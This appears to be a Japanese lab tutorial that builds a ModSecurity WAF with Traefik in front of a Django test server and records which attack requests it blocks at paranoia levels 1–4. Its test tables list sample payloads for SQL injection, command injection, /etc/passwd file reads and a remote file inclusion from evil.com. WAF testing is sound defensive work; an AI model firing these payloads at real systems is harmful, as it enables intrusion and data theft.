目的
外部公開するWebアプリサービスに対する攻撃検知遮断機能を持つOSSのWAFであるModsecurityを利用して、djangoサーバに対する攻撃を検知およびブロックする
環境
- docker/docker-compose環境
- WAFおよびバックエンドサーバ:192.168.9.10
- Modsecurity(OSSのホスト型WAF)
OWASPが提供するdockerプロジェクトを利用する(https://github.com/acouvreur/traefik-modsecurity-plugin/tree/main)
OWASP版Modsecurityのコンポーネントは以下
・traefic:クライアントからバックエンドのdjangoサーバに対するアクセスをロードバランス、リバースプロキシする役割
参考:https://coders-shelf.com/traefik-intro/
・waf:traefixから転送されたパケットを、定義ファイルのシグネチャマッチングによる検査を通して、検知、破棄する。問題ないパケットであれば、djangoサーバへ転送する
バックエンドサーバは、nginx,django,postgresqlの構成を使用する
パケット転送の流れ
クライアント
↓ ブラウザからアクセス(http://192.168.9.10:8002)
受信ポート 8002(公開ポート)
traefix
↓
受信ポート 80
WAF
↓
受信ポート 80
nginx
↓
受信ポート 8001
django
↓
受信ポート 5432
postgres
手順
それぞれdjangoサーバ、Modsecurityサービスを構築する
テスト用のnginx,django,postgresをdocker-composeで構築
以下サイトを参考にdjangoサーバを構築する
https://create-it-myself.com/know-how/construct-nginx-django-posgresql-by-docker-compose/
docker-compose.yml
version: '3.5'
services:
nginx:
image: nginx:latest
container_name: nginx
volumes:
- ./nginx/conf:/etc/nginx/conf.d
- ./nginx/uwsgi_params:/etc/nginx/uwsgi_params
- ./src/static:/static
labels:
- traefik.enable=true
- traefik.http.routers.nginx.rule=PathPrefix(`/`)
- traefik.http.routers.nginx.middlewares=waf@docker
depends_on:
- django
networks:
- traefik-modsecurity-plugin_default
django:
build: ./django
container_name: django
expose:
- '8001'
volumes:
- ./src:/code
command: uwsgi --socket :8001 --module mysite.wsgi
depends_on:
- db
networks:
- traefik-modsecurity-plugin_default
db:
image: postgres:latest
container_name: db
volumes:
- ./db/dbdata:/var/lib/postgresql/data
expose:
- '5432'
environment:
- POSTGRES_USER=postgres
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=testDB
networks:
- traefik-modsecurity-plugin_default
networks:
traefik-modsecurity-plugin_default:
external: true
nginx
- labelsセクションでModsecurityのルールを識別する
- traefik.enable=true
→ traefixにリバプロしてもらうために必要 - traefik.http.routers.nginx.rule=PathPrefix(/)
→ ルートディレ以下すべてへのアクセスをnginxに通す - traefik.http.routers.nginx.middlewares=waf@docker
→ nginx宛の全トラフィックをwafに通す
networks
ModSecurityをdocker-composeで構築
URLからローカルの作業フォルダにクローンする
git clone https://github.com/acouvreur/traefik-modsecurity-plugin.git
初期状態では、dammyのwebサイトへのアクセスを検知する設定になっているので、変更する
docker-compose.yml
version: "3.7"
services:
traefik:
image: traefik
ports:
- "8002:80"
- "8080:8080"
command:
- --api.dashboard=true
- --api.insecure=true
- --experimental.plugins.traefik-modsecurity-plugin.modulename=github.com/acouvreur/traefik-modsecurity-plugin
- --experimental.plugins.traefik-modsecurity-plugin.version=v
1.3.0
- --providers.docker=true
- --entrypoints.http.address=:80
volumes:
- '/var/run/docker.sock:/var/run/docker.sock'
labels:
- traefik.enable=true
- traefik.http.services.traefik.loadbalancer.server.port=8080
- traefik.http.middlewares.waf.plugin.traefik-modsecurity-plugin.modSecurityUrl=http://waf:80
- traefik.http.middlewares.waf.plugin.traefik-modsecurity-plugin.maxBodySize=10485760
waf:
image: owasp/modsecurity-crs:apache
environment:
- PARANOIA=4
- ANOMALY_INBOUND=10
- ANOMALY_OUTBOUND=5
- BACKEND=http://nginx
networks: ※不要?
- traefik-modsecurity-plugin_default
networks:
traefik-modsecurity-plugin_default:
external: true
traefic
- labelsセクションでModsecurityのルールを識別する
waf
- PARANOIA=
→ ルールの厳格さのレベル(1〜4)。4が最も厳格だが誤検知の可能性有り。1が最も寛容だが検知漏れの可能性あり - BACKEND=
→ djangoサーバのURLを指定する。networkを共通にしているため、コンテナ名の「nginx」で名前解決可能
networks
- djangoサーバと共通のtraefik-modsecurity-plugin_defaultを定義する
ModSecurityを起動する
共通のnetworks「traefik-modsecurity-plugin_default」をdjangoサーバが起動する前に作成する必要がある。そのため、Modsecurityコンテナを先に起動する
$ pwd
~/work/traefik-modsecurity-plugin
$ docker-compose up -d
djangoサーバを起動する
$ pwd
~/work/django-nginx-postgres
$ docker-compose up -d
正常確認
以下のようにコンテナが起動していること
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
42d89bcf9c3f nginx:latest "/docker-entrypoint.…" 2 days ago Up 2 days 80/tcp nginx
07e2a157307e django-nginx-postgres_django "uwsgi --socket :800…" 2 days ago Up 2 days 8001/tcp django
83b62d35196f postgres:latest "docker-entrypoint.s…" 2 days ago Up 2 days 5432/tcp db
1deb2f6e42db owasp/modsecurity-crs:apache "/docker-entrypoint.…" 2 days ago Up 2 days (healthy) 80/tcp traefik-modsecurity-plugin_waf_1
549821c50d70 traefik "/entrypoint.sh --ap…" 2 days ago Up 2 days 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:8002->80/tcp, :::8002->80/tcp traefik-modsecurity-plugin_traefik_1
ブラウザで、「http://192.168.9.10:8002」にアクセスして、djangoのロケットページが表示されること
攻撃テスト結果一覧
クライアントからブラウザで以下のURLにアクセスして、WAFのdockerログで検知状態を確認する。攻撃時は「403 Forbidden」となり、ログに出力されていること
$ docker logs traefik-modsecurity-plugin_waf_1
[Fri Nov 17 08:18:39.964636 2023] [security2:error] [pid 40:tid 140106547566272] [client 192.168.160.3:33886] [client 192.168.160.3] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:test. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:test: ../etc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "waf"] [uri "/"] [unique_id "ZVch3_Lkmik5G02w7qq0WAAAAJM"]
ログの見方
「file “/etc/modsecurity.d/owasp-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf」による検知ルールにマッチ
「msg “Path Traversal Attack (/../)”」パストラバーサルアタックに該当
パラノイアレベル4での検証結果
ほぼ全ての攻撃は403 Forbiddenで検知、遮断している
攻撃名 | クエリ文字 | HTTPレスポンスコード | 検知した定義ファイル | 検知コード |
---|---|---|---|---|
Path Traversal | /?test=../etc | 403 | REQUEST-930-APPLICATION-ATTACK-LFI.conf | [msg “Path Traversal Attack (/../)”] [data “Matched Data: ../ found within ARGS:test: ../etc”] |
SQL Injection | /?name=admin%27;%20DROP%20TABLE%20users;– | 403 | REQUEST-942-APPLICATION-ATTACK-SQLI.conf | [msg “Detects basic SQL authentication bypass attempts 1/3”] |
XSS | /?image=\ | 403 | REQUEST-941-APPLICATION-ATTACK-XSS.conf | [msg “NoScript XSS InjectionChecker: HTML Injection”] |
File Upload | /?upload?file=evil.php | 403 | REQUEST-920-PROTOCOL-ENFORCEMENT.conf | [msg “Invalid character in request (outside of very strict set)” |
なりすまし | /?login?username=admin&password=password | 403 | REQUEST-920-PROTOCOL-ENFORCEMENT.conf | [msg “Invalid character in request (outside of very strict set)” |
httpヘッダInjection | /?to=home%0D%0ASe-Cookie:%20SID=abcd1234 | 403 | REQUEST-921-PROTOCOL-ATTACK.conf | [msg “HTTP Header Injection Attack via payload (CR/LF detected)”] [data “Matched Data: \\x0d found within ARGS_GET:to: home\\x0d\\x0aSe-Cookie: SID=abcd1234”] |
OSコマンドInjection | /?¶meter=\`sleep%2010\`& | 403 | REQUEST-932-APPLICATION-ATTACK-RCE.conf | [msg “Remote Command Execution: Windows Command Injection”] [data “Matched Data: \`sleep found within ARGS:parameter: \`sleep 10\`”] |
SSI Injection | /?%3C!–%20#include%20virtual=%22/etc/passwd%22%20–%3E | 403 | REQUEST-941-APPLICATION-ATTACK-XSS.conf | [msg “Node-Validator Blacklist Keywords”][data “Matched Data: <!– found within ARGS_NAMES:<!– : <!– “] |
LDAP Injection | /?(&(!(objectClass=Impresoras))(uid=*)) | 403 | REQUEST-942-APPLICATION-ATTACK-SQLI.conf | [msg “Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)”] [data “Matched Data: ))(uid=*) found within ARGS:(!(objectClass: Impresoras))(uid=*))”] [msg “Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6)”] [data “Matched Data: ))(uid=*) found within ARGS:(!(objectClass: Impresoras))(uid=*))”] |
LFI | /?php=/etc/passwd | 403 | REQUEST-930-APPLICATION-ATTACK-LFI.conf | [msg “OS File Access Attempt”] [data “Matched Data: etc/passwd found within ARGS:php: /etc/passwd”] |
RFI | /index.php?page=http://evil.com/attack.txt | 403 | REQUEST-931-APPLICATION-ATTACK-RFI.conf | [msg “Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link”] |
簡易表
パラノイアレベルは1〜4段階
評価基準
– ◎:HTTPステータスコード403、404で検知してブロックしている
– △:検知はしているが、200OKでアクセス可能
– ☓:検知せず、200OKでアクセス可能
パラノイアレベル4での検証結果
攻撃名 | HTTPレスポンスコード | 結果 |
---|---|---|
Path Traversal | 403 | ◎ |
SQL Injection | 403 | ◎ |
XSS | 403 | ◎ |
File Upload | 200 | △ |
なりすまし | 200 | △ |
DoS | – | – |
httpヘッダInjection | 403 | ◎ |
OSコマンドInjection | 403 | ◎ |
SSI Injection | 403 | ◎ |
LDAP Injection | 403 | ◎ |
メールヘッダInjection | 403 | ◎ |
LFI | 403 | ◎ |
RFI | 403⭐︎ | ◎ |
パラノイアレベル3での検証結果
攻撃名 | HTTPレスポンスコード | 結果 |
---|---|---|
Path Traversal | 403 | ◎ |
SQL Injection | 403 | ◎ |
XSS | 403 | ◎ |
File Upload | 200 | ✖️ |
なりすまし | 200 | ✖️ |
DoS | – | – |
httpヘッダInjection | 403 | ◎ |
OSコマンドInjection | 403 | ◎ |
SSI Injection | 403 | ◎ |
LDAP Injection | 403 | ◎ |
メールヘッダInjection | 403 | ◎ |
LFI | 403 | ◎ |
RFI | 404 | ◎ |
パラノイアレベル2での検証結果
攻撃名 | HTTPレスポンスコード | 結果 |
---|---|---|
Path Traversal | 403 | ◎ |
SQL Injection | 403 | ◎ |
XSS | 403 | ◎ |
File Upload | 200 | ✖️ |
なりすまし | 200 | ✖️ |
DoS | – | – |
httpヘッダInjection | 403 | △ |
OSコマンドInjection | 403 | ◎ |
SSI Injection | 403 | ◎ |
LDAP Injection | 403 | ✖️ |
メールヘッダInjection | 403 | ◎ |
LFI | 403 | ◎ |
RFI | 404 | ◎ |
パラノイアレベル1での検証結果
攻撃名 | HTTPレスポンスコード | 結果 |
---|---|---|
Path Traversal | 403 | ◎ |
SQL Injection | 403 | △ |
XSS | 403 | △ |
File Upload | 200 | ✖️ |
なりすまし | 200 | ✖️ |
DoS | – | – |
httpヘッダInjection | 403 | △ |
OSコマンドInjection | 403 | ◎ |
SSI Injection | 403 | △ |
LDAP Injection | 403 | ✖️ |
メールヘッダInjection | 403 | ◎ |
LFI | 403 | ◎ |
RFI | 404 | ✖️ |